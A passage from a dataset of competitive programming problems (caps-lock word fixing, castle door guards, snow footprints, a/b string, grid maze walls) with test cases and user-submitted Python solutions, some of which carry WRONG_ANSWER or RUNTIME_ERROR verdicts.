footsteps it disappears but you dont notice anything\nYour dog is upstears\n', 'abcdefg hijk\nk j i h g f e d c b a\n'] Demo Output: ['NO\n', 'YES\n', 'NO\n', 'YES\n'] Note: none
```python text = input() letter = input() text = text.replace(" ", "") letter = letter.replace(" ", "") newText = [] for i in range(len(text)): newText.append(text[i]) out = "NO" for i in range(len(letter)): its = "NO" for x in range(len(newText)): if(letter[i] == newText[x]): newText[x] = "0" its = "YES" break if(x == (len(newText) - 1) and its == "NO"): out = "YES" break if(out == "YES"): print("NO") break if(out == "NO"): print("YES") ```
3.9615
131
A
cAPS lOCK
PROGRAMMING
1,000
[ "implementation", "strings" ]
null
null
wHAT DO WE NEED cAPS LOCK FOR? Caps lock is a computer keyboard key. Pressing it sets an input mode in which typed letters are capital by default. If it is pressed by accident, it leads to accidents like the one we had in the first passage. Let's consider that a word has been typed with the Caps lock key accidentally switched on, if: - either it only contains uppercase letters; - or all letters except for the first one are uppercase. In this case we should automatically change the case of all letters. For example, the case of the letters that form words "hELLO", "HTTP", "z" should be changed. Write a program that applies the rule mentioned above. If the rule cannot be applied, the program should leave the word unchanged.
The first line of the input data contains a word consisting of uppercase and lowercase Latin letters. The word's length is from 1 to 100 characters, inclusive.
Print the result of the given word's processing.
[ "cAPS\n", "Lock\n" ]
[ "Caps", "Lock\n" ]
none
500
[ { "input": "cAPS", "output": "Caps" }, { "input": "Lock", "output": "Lock" }, { "input": "cAPSlOCK", "output": "cAPSlOCK" }, { "input": "CAPs", "output": "CAPs" }, { "input": "LoCK", "output": "LoCK" }, { "input": "OOPS", "output": "oops" }, { "input": "oops", "output": "oops" }, { "input": "a", "output": "A" }, { "input": "A", "output": "a" }, { "input": "aA", "output": "Aa" }, { "input": "Zz", "output": "Zz" }, { "input": "Az", "output": "Az" }, { "input": "zA", "output": "Za" }, { "input": "AAA", "output": "aaa" }, { "input": "AAa", "output": "AAa" }, { "input": "AaR", "output": "AaR" }, { "input": "Tdr", "output": "Tdr" }, { "input": "aTF", "output": "Atf" }, { "input": "fYd", "output": "fYd" }, { "input": "dsA", "output": "dsA" }, { "input": "fru", "output": "fru" }, { "input": "hYBKF", "output": "Hybkf" }, { "input": "XweAR", "output": "XweAR" }, { "input": "mogqx", "output": "mogqx" }, { "input": "eOhEi", "output": "eOhEi" }, { "input": "nkdku", "output": "nkdku" }, { "input": "zcnko", "output": "zcnko" }, { "input": "lcccd", "output": "lcccd" }, { "input": "vwmvg", "output": "vwmvg" }, { "input": "lvchf", "output": "lvchf" }, { "input": "IUNVZCCHEWENCHQQXQYPUJCRDZLUXCLJHXPHBXEUUGNXOOOPBMOBRIBHHMIRILYJGYYGFMTMFSVURGYHUWDRLQVIBRLPEVAMJQYO", "output": "iunvzcchewenchqqxqypujcrdzluxcljhxphbxeuugnxooopbmobribhhmirilyjgyygfmtmfsvurgyhuwdrlqvibrlpevamjqyo" }, { "input": "OBHSZCAMDXEJWOZLKXQKIVXUUQJKJLMMFNBPXAEFXGVNSKQLJGXHUXHGCOTESIVKSFMVVXFVMTEKACRIWALAGGMCGFEXQKNYMRTG", "output": "obhszcamdxejwozlkxqkivxuuqjkjlmmfnbpxaefxgvnskqljgxhuxhgcotesivksfmvvxfvmtekacriwalaggmcgfexqknymrtg" }, { "input": "IKJYZIKROIYUUCTHSVSKZTETNNOCMAUBLFJCEVANCADASMZRCNLBZPQRXESHEEMOMEPCHROSRTNBIDXYMEPJSIXSZQEBTEKKUHFS", "output": "ikjyzikroiyuucthsvskztetnnocmaublfjcevancadasmzrcnlbzpqrxesheemomepchrosrtnbidxymepjsixszqebtekkuhfs" }, { "input": "cTKDZNWVYRTFPQLDAUUNSPKTDJTUPPFPRXRSINTVFVNNQNKXWUZUDHZBUSOKTABUEDQKUIVRTTVUREEOBJTSDKJKVEGFXVHXEYPE", "output": "Ctkdznwvyrtfpqldauunspktdjtuppfprxrsintvfvnnqnkxwuzudhzbusoktabuedqkuivrttvureeobjtsdkjkvegfxvhxeype" }, { "input": "uCKJZRGZJCPPLEEYJTUNKOQSWGBMTBQEVPYFPIPEKRVYQNTDPANOIXKMPINNFUSZWCURGBDPYTEKBEKCPMVZPMWAOSHJYMGKOMBQ", "output": "Uckjzrgzjcppleeyjtunkoqswgbmtbqevpyfpipekrvyqntdpanoixkmpinnfuszwcurgbdpytekbekcpmvzpmwaoshjymgkombq" }, { "input": "KETAXTSWAAOBKUOKUQREHIOMVMMRSAEWKGXZKRASwTVNSSFSNIWYNPSTMRADOADEEBURRHPOOBIEUIBGYDJCEKPNLEUCANZYJKMR", "output": "KETAXTSWAAOBKUOKUQREHIOMVMMRSAEWKGXZKRASwTVNSSFSNIWYNPSTMRADOADEEBURRHPOOBIEUIBGYDJCEKPNLEUCANZYJKMR" }, { "input": "ZEKGDMWJPVUWFlNXRLUmWKLMMYSLRQQIBRWDPKWITUIMZYYKOEYGREKHHZRZZUFPVTNIHKGTCCTLOKSZITXXZDMPITHNZUIGDZLE", "output": "ZEKGDMWJPVUWFlNXRLUmWKLMMYSLRQQIBRWDPKWITUIMZYYKOEYGREKHHZRZZUFPVTNIHKGTCCTLOKSZITXXZDMPITHNZUIGDZLE" }, { "input": "TcMbVPCFvnNkCEUUCIFLgBJeCOKuJhIGwXFrhAZjuAhBraMSchBfWwIuHAEbgJOFzGtxDLDXzDSaPCFujGGxgxdlHUIQYRrMFCgJ", "output": "TcMbVPCFvnNkCEUUCIFLgBJeCOKuJhIGwXFrhAZjuAhBraMSchBfWwIuHAEbgJOFzGtxDLDXzDSaPCFujGGxgxdlHUIQYRrMFCgJ" }, { "input": "xFGqoLILNvxARKuIntPfeukFtMbvzDezKpPRAKkIoIvwqNXnehRVwkkXYvuRCeoieBaBfTjwsYhDeCLvBwktntyluoxCYVioXGdm", "output": "xFGqoLILNvxARKuIntPfeukFtMbvzDezKpPRAKkIoIvwqNXnehRVwkkXYvuRCeoieBaBfTjwsYhDeCLvBwktntyluoxCYVioXGdm" }, { "input": "udvqolbxdwbkijwvhlyaelhynmnfgszbhgshlcwdkaibceqomzujndixuzivlsjyjqxzxodzbukxxhwwultvekdfntwpzlhhrIjm", "output": "udvqolbxdwbkijwvhlyaelhynmnfgszbhgshlcwdkaibceqomzujndixuzivlsjyjqxzxodzbukxxhwwultvekdfntwpzlhhrIjm" }, { "input": "jgpwhetqqoncighgzbbaLwwwxkxivuwtokehrgprfgewzcwxkavwoflcgsgbhoeamzbefzoonwsyzisetoydrpufktzgbaycgaeg", "output": "jgpwhetqqoncighgzbbaLwwwxkxivuwtokehrgprfgewzcwxkavwoflcgsgbhoeamzbefzoonwsyzisetoydrpufktzgbaycgaeg" }, { "input": "vyujsazdstbnkxeunedfbolicojzjpufgfemhtmdrswvmuhoivjvonacefqenbqudelmdegxqtbwezsbydmanzutvdgkgrjxzlnc", "output": "vyujsazdstbnkxeunedfbolicojzjpufgfemhtmdrswvmuhoivjvonacefqenbqudelmdegxqtbwezsbydmanzutvdgkgrjxzlnc" }, { "input": "pivqnuqkaofcduvbttztjbuavrqwiqrwkfncmvatoxruelyoecnkpqraiahumiaiqeyjapbqyrsxcdgjbihivtqezvasfmzntdfv", "output": "pivqnuqkaofcduvbttztjbuavrqwiqrwkfncmvatoxruelyoecnkpqraiahumiaiqeyjapbqyrsxcdgjbihivtqezvasfmzntdfv" }, { "input": "upvtbsxswbohxshdrbjxcungzquhuomgxwlryvshshsfvqbrxvcikbglietlpqkiwbhiqpmdwuqosbtdvyxekkaqiwrbsibpoect", "output": "upvtbsxswbohxshdrbjxcungzquhuomgxwlryvshshsfvqbrxvcikbglietlpqkiwbhiqpmdwuqosbtdvyxekkaqiwrbsibpoect" }, { "input": "cTKDZNWVYRTFPQLDAUUNSPKTDJTUPPFPRXRSINTVFVNNQNKXWUZUDHZBUSOKTABUEDQKUIVRTTVUREEOBJTSDKJKVEGFXVHXEYPE", "output": "Ctkdznwvyrtfpqldauunspktdjtuppfprxrsintvfvnnqnkxwuzudhzbusoktabuedqkuivrttvureeobjtsdkjkvegfxvhxeype" }, { "input": "JEGDOFJOFGJHFROGHOFGMHOFGHORGFHMOu", "output": "JEGDOFJOFGJHFROGHOFGMHOFGHORGFHMOu" }, { "input": "aBACABa", "output": "aBACABa" }, { "input": "AAAAAAAAAAAAAAAAAAAAAAAAaa", "output": "AAAAAAAAAAAAAAAAAAAAAAAAaa" }, { "input": "aaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "output": "aaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" }, { "input": "dDDDDDDDDDDDDD", "output": "Dddddddddddddd" }, { "input": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "output": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" }, { "input": "z", "output": "Z" }, { "input": "AZ", "output": "az" }, { "input": "Z", "output": "z" }, { "input": "aAAAA", "output": "Aaaaa" }, { "input": "F", "output": "f" } ]
1,698,060,428
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
2
31
0
s = str(input()) f = s.lower() d = f.capitalize() print(d)
Title: cAPS lOCK Time Limit: None seconds Memory Limit: None megabytes Problem Description: wHAT DO WE NEED cAPS LOCK FOR? Caps lock is a computer keyboard key. Pressing it sets an input mode in which typed letters are capital by default. If it is pressed by accident, it leads to accidents like the one we had in the first passage. Let's consider that a word has been typed with the Caps lock key accidentally switched on, if: - either it only contains uppercase letters; - or all letters except for the first one are uppercase. In this case we should automatically change the case of all letters. For example, the case of the letters that form words "hELLO", "HTTP", "z" should be changed. Write a program that applies the rule mentioned above. If the rule cannot be applied, the program should leave the word unchanged. Input Specification: The first line of the input data contains a word consisting of uppercase and lowercase Latin letters. The word's length is from 1 to 100 characters, inclusive. Output Specification: Print the result of the given word's processing. Demo Input: ['cAPS\n', 'Lock\n'] Demo Output: ['Caps', 'Lock\n'] Note: none
```python s = str(input()) f = s.lower() d = f.capitalize() print(d) ```
0
834
B
The Festive Evening
PROGRAMMING
1,100
[ "data structures", "implementation" ]
null
null
It's the end of July – the time when a festive evening is held at Jelly Castle! Guests from all over the kingdom gather here to discuss new trends in the world of confectionery. Yet some of the things discussed here are not supposed to be disclosed to the general public: the information can cause discord in the kingdom of Sweetland in case it turns out to reach the wrong hands. So it's a necessity to not let any uninvited guests in. There are 26 entrances in Jelly Castle, enumerated with uppercase English letters from A to Z. Because of security measures, each guest is known to be assigned an entrance he should enter the castle through. The door of each entrance is opened right before the first guest's arrival and closed right after the arrival of the last guest that should enter the castle through this entrance. No two guests can enter the castle simultaneously. For an entrance to be protected from possible intrusion, a candy guard should be assigned to it. There are *k* such guards in the castle, so if there are more than *k* opened doors, one of them is going to be left unguarded! Notice that a guard can't leave his post until the door he is assigned to is closed. Slastyona had a suspicion that there could be uninvited guests at the evening. She knows the order in which the invited guests entered the castle, and wants you to help her check whether there was a moment when more than *k* doors were opened.
Two integers are given in the first string: the number of guests *n* and the number of guards *k* (1<=≤<=*n*<=≤<=106, 1<=≤<=*k*<=≤<=26). In the second string, *n* uppercase English letters *s*1*s*2... *s**n* are given, where *s**i* is the entrance used by the *i*-th guest.
Output «YES» if at least one door was unguarded during some time, and «NO» otherwise. You can output each letter in arbitrary case (upper or lower).
[ "5 1\nAABBB\n", "5 1\nABABB\n" ]
[ "NO\n", "YES\n" ]
In the first sample case, the door A is opened right before the first guest's arrival and closed when the second guest enters the castle. The door B is opened right before the arrival of the third guest, and closed after the fifth one arrives. One guard can handle both doors, as the first one is closed before the second one is opened. In the second sample case, the door B is opened before the second guest's arrival, but the only guard can't leave the door A unattended, as there is still one more guest that should enter the castle through this door.
1,000
[ { "input": "5 1\nAABBB", "output": "NO" }, { "input": "5 1\nABABB", "output": "YES" }, { "input": "26 1\nABCDEFGHIJKLMNOPQRSTUVWXYZ", "output": "NO" }, { "input": "27 1\nABCDEFGHIJKLMNOPQRSTUVWXYZA", "output": "YES" }, { "input": "5 2\nABACA", "output": "NO" }, { "input": "6 2\nABCABC", "output": "YES" }, { "input": "8 3\nABCBCDCA", "output": "NO" }, { "input": "73 2\nDEBECECBBADAADEAABEAEEEAEBEAEBCDDBABBAEBACCBEEBBAEADEECACEDEEDABACDCDBBBD", "output": "YES" }, { "input": "44 15\nHGJIFCGGCDGIJDHBIBGAEABCIABIGBDEADBBBAGDFDHA", "output": "NO" }, { "input": "41 19\nTMEYYIIELFDCMBDKWWKYNRNDUPRONYROXQCLVQALP", "output": "NO" }, { "input": "377 3\nEADADBBBBDEAABBAEBABACDBDBBCACAADBEAEACDEAABACADEEDEACACDADABBBBDDEECBDABACACBAECBADAEBDEEBDBCDAEADBCDDACACDCCEEDBCCBBCEDBECBABCDDBBDEADEDAEACDECECBEBACBCCDCDBDAECDECADBCBEDBBDAAEBCAAECCDCCDBDDEBADEEBDCAEABBDEDBBDDEAECCBDDCDEACDAECCBDDABABEAEDCDEDBAECBDEACEBCECEACDCBABCBAAEAADACADBBBBABEADBCADEBCBECCABBDDDEEBCDEBADEBDAAABBEABADEDEAEABCEEBEEDEAEBEABCEDDBACBCCADEBAAAAAEABABBCE", "output": "YES" }, { "input": "433 3\nFZDDHMJGBZCHFUXBBPIEBBEFDWOMXXEPOMDGSMPIUZOMRZQNSJAVNATGIWPDFISKFQXJNVFXPHOZDAEZFDAHDXXQKZMGNSGKQNWGNGJGJZVVITKNFLVCPMZSDMCHBTVAWYVZLIXXIADXNYILEYNIQHKMOGMVOCWGHCWIYMPEPADSJAAKEGTUSEDWAHMNYJDIHBKHVUHLYGNGZDBULRXLSAJHPCMNWCEAAPYMHDTYWPADOTJTXTXUKLCHWKUSZRHEKQEFPVJEJJHRWCKYOIWALRTIBUMNOCRXLSIKQCJVQXEPGOHRUDJDKMUUUDORURWXJNVRVMNOUNRFKSVMTMZGOIJLXEPAMVGESOADYIGZXRBJDIWKNOWTCSROAQTBECHTOZVSQUOOJRZIBAUHMKAXDCIMDZJFMABGRNTGPUJAUNFPFWCJG", "output": "YES" }, { "input": "5 2\nABCAB", "output": "YES" }, { "input": "5 1\nAZAZA", "output": "YES" }, { "input": "7 2\nABCDBCD", "output": "YES" }, { "input": "3 26\nAAB", "output": "NO" } ]
1,502,090,616
2,916
Python 3
OK
TESTS
34
421
7,884,800
# Idea is to find first and last indices of all doors # It will be time when door opens and time when door closes and guardian can leave def main(): opened = {} closed = {} n, k = map(int, input().split()) seq = input() for i, way in enumerate(seq): if way not in opened: opened[way] = i closed[way] = i # Door can be closed after 1 person in for i, way in enumerate(seq): open_ith_door = opened[way] == i if open_ith_door: k -= 1 no_guardians = k < 0 if no_guardians: print("YES") return close_ith_door = closed[way] == i if close_ith_door: k += 1 else: continue print("NO") return main()
Title: The Festive Evening Time Limit: None seconds Memory Limit: None megabytes Problem Description: It's the end of July – the time when a festive evening is held at Jelly Castle! Guests from all over the kingdom gather here to discuss new trends in the world of confectionery. Yet some of the things discussed here are not supposed to be disclosed to the general public: the information can cause discord in the kingdom of Sweetland in case it turns out to reach the wrong hands. So it's a necessity to not let any uninvited guests in. There are 26 entrances in Jelly Castle, enumerated with uppercase English letters from A to Z. Because of security measures, each guest is known to be assigned an entrance he should enter the castle through. The door of each entrance is opened right before the first guest's arrival and closed right after the arrival of the last guest that should enter the castle through this entrance. No two guests can enter the castle simultaneously. For an entrance to be protected from possible intrusion, a candy guard should be assigned to it. There are *k* such guards in the castle, so if there are more than *k* opened doors, one of them is going to be left unguarded! Notice that a guard can't leave his post until the door he is assigned to is closed. Slastyona had a suspicion that there could be uninvited guests at the evening. She knows the order in which the invited guests entered the castle, and wants you to help her check whether there was a moment when more than *k* doors were opened. Input Specification: Two integers are given in the first string: the number of guests *n* and the number of guards *k* (1<=≤<=*n*<=≤<=106, 1<=≤<=*k*<=≤<=26). In the second string, *n* uppercase English letters *s*1*s*2... *s**n* are given, where *s**i* is the entrance used by the *i*-th guest. Output Specification: Output «YES» if at least one door was unguarded during some time, and «NO» otherwise. You can output each letter in arbitrary case (upper or lower). Demo Input: ['5 1\nAABBB\n', '5 1\nABABB\n'] Demo Output: ['NO\n', 'YES\n'] Note: In the first sample case, the door A is opened right before the first guest's arrival and closed when the second guest enters the castle. The door B is opened right before the arrival of the third guest, and closed after the fifth one arrives. One guard can handle both doors, as the first one is closed before the second one is opened. In the second sample case, the door B is opened before the second guest's arrival, but the only guard can't leave the door A unattended, as there is still one more guest that should enter the castle through this door.
```python # Idea is to find first and last indices of all doors # It will be time when door opens and time when door closes and guardian can leave def main(): opened = {} closed = {} n, k = map(int, input().split()) seq = input() for i, way in enumerate(seq): if way not in opened: opened[way] = i closed[way] = i # Door can be closed after 1 person in for i, way in enumerate(seq): open_ith_door = opened[way] == i if open_ith_door: k -= 1 no_guardians = k < 0 if no_guardians: print("YES") return close_ith_door = closed[way] == i if close_ith_door: k += 1 else: continue print("NO") return main() ```
3
298
A
Snow Footprints
PROGRAMMING
1,300
[ "greedy", "implementation" ]
null
null
There is a straight snowy road, divided into *n* blocks. The blocks are numbered from 1 to *n* from left to right. If one moves from the *i*-th block to the (*i*<=+<=1)-th block, he will leave a right footprint on the *i*-th block. Similarly, if one moves from the *i*-th block to the (*i*<=-<=1)-th block, he will leave a left footprint on the *i*-th block. If there already is a footprint on the *i*-th block, the new footprint will cover the old one. At the beginning, there were no footprints. Then polar bear Alice starts from the *s*-th block, makes a sequence of moves and ends in the *t*-th block. It is known that Alice never moves outside of the road. You are given the description of Alice's footprints. Your task is to find a pair of possible values of *s*,<=*t* by looking at the footprints.
The first line of the input contains integer *n* (3<=≤<=*n*<=≤<=1000). The second line contains the description of the road — the string that consists of *n* characters. Each character will be either "." (a block without footprint), or "L" (a block with a left footprint), "R" (a block with a right footprint). It's guaranteed that the given string contains at least one character not equal to ".". Also, the first and the last character will always be ".". It's guaranteed that a solution exists.
Print two space-separated integers — the values of *s* and *t*. If there are several possible solutions you can print any of them.
[ "9\n..RRLL...\n", "11\n.RRRLLLLL..\n" ]
[ "3 4\n", "7 5\n" ]
The first test sample is the one in the picture.
500
[ { "input": "11\n.RRRLLLLL..", "output": "7 5" }, { "input": "4\n.RL.", "output": "3 2" }, { "input": "3\n.L.", "output": "2 1" }, { "input": "3\n.R.", "output": "2 3" } ]
1,593,704,079
2,147,483,647
PyPy 3
RUNTIME_ERROR
TESTS
8
372
2,150,400
n=int(input()) s=input() x=s.count(".") if(x==n-1): for i in range(n): if(s[i]!="."): if(s[i]=="R"): print(i+1,i+2) else: print(i+1,i) break else: ll=[] i1=0 i2=0 for i in range(n): if(s[i]!="."): ll.append(s[i]) i1=i+1 break for i in range(n-1,-1,-1): if(s[i]!="."): ll.append(s[i]) i2=i+1 break if(ll[0]=="R" and ll[1]=="L"): for i in range(n): if(s[i]=="L"): i2=i+1 break print(i1,i2-1) elif(ll[0]=="R" and ll[1]=="R"): print(i1,i2+1) elif(ll[0]=="L" and ll[1]=="L"): print(i2,i1-1)
Title: Snow Footprints Time Limit: None seconds Memory Limit: None megabytes Problem Description: There is a straight snowy road, divided into *n* blocks. The blocks are numbered from 1 to *n* from left to right. If one moves from the *i*-th block to the (*i*<=+<=1)-th block, he will leave a right footprint on the *i*-th block. Similarly, if one moves from the *i*-th block to the (*i*<=-<=1)-th block, he will leave a left footprint on the *i*-th block. If there already is a footprint on the *i*-th block, the new footprint will cover the old one. At the beginning, there were no footprints. Then polar bear Alice starts from the *s*-th block, makes a sequence of moves and ends in the *t*-th block. It is known that Alice never moves outside of the road. You are given the description of Alice's footprints. Your task is to find a pair of possible values of *s*,<=*t* by looking at the footprints. Input Specification: The first line of the input contains integer *n* (3<=≤<=*n*<=≤<=1000). The second line contains the description of the road — the string that consists of *n* characters. Each character will be either "." (a block without footprint), or "L" (a block with a left footprint), "R" (a block with a right footprint). It's guaranteed that the given string contains at least one character not equal to ".". Also, the first and the last character will always be ".". It's guaranteed that a solution exists. Output Specification: Print two space-separated integers — the values of *s* and *t*. If there are several possible solutions you can print any of them. Demo Input: ['9\n..RRLL...\n', '11\n.RRRLLLLL..\n'] Demo Output: ['3 4\n', '7 5\n'] Note: The first test sample is the one in the picture.
```python n=int(input()) s=input() x=s.count(".") if(x==n-1): for i in range(n): if(s[i]!="."): if(s[i]=="R"): print(i+1,i+2) else: print(i+1,i) break else: ll=[] i1=0 i2=0 for i in range(n): if(s[i]!="."): ll.append(s[i]) i1=i+1 break for i in range(n-1,-1,-1): if(s[i]!="."): ll.append(s[i]) i2=i+1 break if(ll[0]=="R" and ll[1]=="L"): for i in range(n): if(s[i]=="L"): i2=i+1 break print(i1,i2-1) elif(ll[0]=="R" and ll[1]=="R"): print(i1,i2+1) elif(ll[0]=="L" and ll[1]=="L"): print(i2,i1-1) ```
-1
877
B
Nikita and string
PROGRAMMING
1,500
[ "brute force", "dp" ]
null
null
One day Nikita found the string containing letters "a" and "b" only. Nikita thinks that string is beautiful if it can be cut into 3 strings (possibly empty) without changing the order of the letters, where the 1-st and the 3-rd one contain only letters "a" and the 2-nd contains only letters "b". Nikita wants to make the string beautiful by removing some (possibly none) of its characters, but without changing their order. What is the maximum length of the string he can get?
The first line contains a non-empty string of length not greater than 5<=000 containing only lowercase English letters "a" and "b".
Print a single integer — the maximum possible size of beautiful string Nikita can get.
[ "abba\n", "bab\n" ]
[ "4", "2" ]
It the first sample the string is already beautiful. In the second sample he needs to delete one of "b" to make it beautiful.
1,000
[ { "input": "abba", "output": "4" }, { "input": "bab", "output": "2" }, { "input": "bbabbbaabbbb", "output": "9" }, { "input": "bbabbbbbaaba", "output": "10" }, { "input": "bbabbbababaa", "output": "9" }, { "input": "aabbaababbab", "output": "8" }, { "input": "a", "output": "1" }, { "input": "b", "output": "1" }, { "input": "ab", "output": "2" }, { "input": "ba", "output": "2" }, { "input": "bb", "output": "2" }, { "input": "aa", "output": "2" }, { "input": "babbbaab", "output": "6" }, { "input": "abaaaa", "output": "6" }, { "input": "aaa", "output": "3" } ]
1,628,671,883
2,147,483,647
PyPy 3
OK
TESTS
46
202
22,323,200
import sys import math from collections import Counter # n = int(input()) # a = list(map(int, input().split())) s = input() n = len(s) aPrefix = [0] * (n + 1) for i in range(n) : aPrefix[i + 1] = aPrefix[i] + (1 if s[i] == 'a' else 0) maxLength = 0 for i in range(n + 1) : aFirst = aPrefix[i] for j in range(i, n + 1) : b = (j - i) - (aPrefix[j] - aPrefix[i]) a = aPrefix[n] - aPrefix[j] maxLength = max(maxLength, aFirst + a + b) print(maxLength)
Title: Nikita and string Time Limit: None seconds Memory Limit: None megabytes Problem Description: One day Nikita found the string containing letters "a" and "b" only. Nikita thinks that string is beautiful if it can be cut into 3 strings (possibly empty) without changing the order of the letters, where the 1-st and the 3-rd one contain only letters "a" and the 2-nd contains only letters "b". Nikita wants to make the string beautiful by removing some (possibly none) of its characters, but without changing their order. What is the maximum length of the string he can get? Input Specification: The first line contains a non-empty string of length not greater than 5<=000 containing only lowercase English letters "a" and "b". Output Specification: Print a single integer — the maximum possible size of beautiful string Nikita can get. Demo Input: ['abba\n', 'bab\n'] Demo Output: ['4', '2'] Note: It the first sample the string is already beautiful. In the second sample he needs to delete one of "b" to make it beautiful.
```python import sys import math from collections import Counter # n = int(input()) # a = list(map(int, input().split())) s = input() n = len(s) aPrefix = [0] * (n + 1) for i in range(n) : aPrefix[i + 1] = aPrefix[i] + (1 if s[i] == 'a' else 0) maxLength = 0 for i in range(n + 1) : aFirst = aPrefix[i] for j in range(i, n + 1) : b = (j - i) - (aPrefix[j] - aPrefix[i]) a = aPrefix[n] - aPrefix[j] maxLength = max(maxLength, aFirst + a + b) print(maxLength) ```
3
0
none
none
none
0
[ "none" ]
null
null
Pavel loves grid mazes. A grid maze is an *n*<=×<=*m* rectangle maze where each cell is either empty, or is a wall. You can go from one cell to another only if both cells are empty and have a common side. Pavel drew a grid maze with all empty cells forming a connected area. That is, you can go from any empty cell to any other one. Pavel doesn't like it when his maze has too little walls. He wants to turn exactly *k* empty cells into walls so that all the remaining cells still formed a connected area. Help him.
The first line contains three integers *n*, *m*, *k* (1<=≤<=*n*,<=*m*<=≤<=500, 0<=≤<=*k*<=&lt;<=*s*), where *n* and *m* are the maze's height and width, correspondingly, *k* is the number of walls Pavel wants to add and letter *s* represents the number of empty cells in the original maze. Each of the next *n* lines contains *m* characters. They describe the original maze. If a character on a line equals ".", then the corresponding cell is empty and if the character equals "#", then the cell is a wall.
Print *n* lines containing *m* characters each: the new maze that fits Pavel's requirements. Mark the empty cells that you transformed into walls as "X", the other cells must be left without changes (that is, "." and "#"). It is guaranteed that a solution exists. If there are multiple solutions you can output any of them.
[ "3 4 2\n#..#\n..#.\n#...\n", "5 4 5\n#...\n#.#.\n.#..\n...#\n.#.#\n" ]
[ "#.X#\nX.#.\n#...\n", "#XXX\n#X#.\nX#..\n...#\n.#.#\n" ]
none
0
[ { "input": "5 4 5\n#...\n#.#.\n.#..\n...#\n.#.#", "output": "#XXX\n#X#.\nX#..\n...#\n.#.#" }, { "input": "3 3 2\n#.#\n...\n#.#", "output": "#X#\nX..\n#.#" }, { "input": "7 7 18\n#.....#\n..#.#..\n.#...#.\n...#...\n.#...#.\n..#.#..\n#.....#", "output": "#XXXXX#\nXX#X#X.\nX#XXX#.\nXXX#...\nX#...#.\nX.#.#..\n#.....#" }, { "input": "1 1 0\n.", "output": "." }, { "input": "2 3 1\n..#\n#..", "output": "X.#\n#.." }, { "input": "2 3 1\n#..\n..#", "output": "#.X\n..#" }, { "input": "3 3 1\n...\n.#.\n..#", "output": "...\n.#X\n..#" }, { "input": "3 3 1\n...\n.#.\n#..", "output": "...\nX#.\n#.." }, { "input": "5 4 4\n#..#\n....\n.##.\n....\n#..#", "output": "#XX#\nXX..\n.##.\n....\n#..#" }, { "input": "5 5 2\n.#..#\n..#.#\n#....\n##.#.\n###..", "output": "X#..#\nX.#.#\n#....\n##.#.\n###.." }, { "input": "4 6 3\n#.....\n#.#.#.\n.#...#\n...#.#", "output": "#.....\n#X#.#X\nX#...#\n...#.#" }, { "input": "7 5 4\n.....\n.#.#.\n#...#\n.#.#.\n.#...\n..#..\n....#", "output": "X...X\nX#.#X\n#...#\n.#.#.\n.#...\n..#..\n....#" }, { "input": "16 14 19\n##############\n..############\n#.############\n#..###########\n....##########\n..############\n.#############\n.#.###########\n....##########\n###..#########\n##...#########\n###....#######\n###.##.......#\n###..###.#..#.\n###....#......\n#...#...##.###", "output": "##############\nXX############\n#X############\n#XX###########\nXXXX##########\nXX############\nX#############\nX#.###########\nX...##########\n###..#########\n##...#########\n###....#######\n###.##.......#\n###..###.#..#.\n###...X#......\n#X..#XXX##.###" }, { "input": "10 17 32\n######.##########\n####.#.##########\n...#....#########\n.........########\n##.......########\n........#########\n#.....###########\n#################\n#################\n#################", "output": "######X##########\n####X#X##########\nXXX#XXXX#########\nXXXXXXXXX########\n##XXX.XXX########\nXXXX...X#########\n#XX...###########\n#################\n#################\n#################" }, { "input": "16 10 38\n##########\n##########\n##########\n..########\n...#######\n...#######\n...#######\n....######\n.....####.\n......###.\n......##..\n.......#..\n.........#\n.........#\n.........#\n.........#", "output": "##########\n##########\n##########\nXX########\nXXX#######\nXXX#######\nXXX#######\nXXXX######\nXXXXX####.\nXXXXX.###.\nXXXX..##..\nXXX....#..\nXXX......#\nXX.......#\nX........#\n.........#" }, { "input": "15 16 19\n########.....###\n########.....###\n############.###\n############.###\n############.###\n############.###\n############.###\n############.###\n############.###\n############.###\n.....#####.#..##\n................\n.#...........###\n###.########.###\n###.########.###", "output": "########XXXXX###\n########XXXXX###\n############.###\n############.###\n############.###\n############.###\n############.###\n############.###\n############.###\n############.###\nXXXX.#####.#..##\nXXX.............\nX#...........###\n###.########.###\n###X########.###" }, { "input": "12 19 42\n.........##########\n...................\n.##.##############.\n..################.\n..#################\n..#################\n..#################\n..#################\n..#################\n..#################\n..##########.######\n.............######", "output": "XXXXXXXXX##########\nXXXXXXXXXXXXXXXXXXX\nX##X##############X\nXX################X\nXX#################\nXX#################\nXX#################\nX.#################\nX.#################\n..#################\n..##########.######\n.............######" }, { "input": "3 5 1\n#...#\n..#..\n..#..", "output": "#...#\n..#..\nX.#.." }, { "input": "4 5 10\n.....\n.....\n..#..\n..#..", "output": "XXX..\nXXX..\nXX#..\nXX#.." }, { "input": "3 5 3\n.....\n..#..\n..#..", "output": ".....\nX.#..\nXX#.." }, { "input": "3 5 1\n#....\n..#..\n..###", "output": "#....\n..#.X\n..###" }, { "input": "4 5 1\n.....\n.##..\n..#..\n..###", "output": ".....\n.##..\n..#.X\n..###" }, { "input": "3 5 2\n..#..\n..#..\n....#", "output": "X.#..\nX.#..\n....#" }, { "input": "10 10 1\n##########\n##......##\n#..#..#..#\n#..####..#\n#######.##\n#######.##\n#..####..#\n#..#..#..#\n##......##\n##########", "output": "##########\n##......##\n#..#..#..#\n#X.####..#\n#######.##\n#######.##\n#..####..#\n#..#..#..#\n##......##\n##########" }, { "input": "10 10 3\n..........\n.########.\n.########.\n.########.\n.########.\n.########.\n.#######..\n.#######..\n.####..###\n.......###", "output": "..........\n.########.\n.########.\n.########.\n.########.\n.########.\n.#######X.\n.#######XX\n.####..###\n.......###" }, { "input": "5 7 10\n..#....\n..#.#..\n.##.#..\n..#.#..\n....#..", "output": "XX#....\nXX#.#..\nX##.#..\nXX#.#..\nXXX.#.." }, { "input": "5 7 10\n..#....\n..#.##.\n.##.##.\n..#.#..\n....#..", "output": 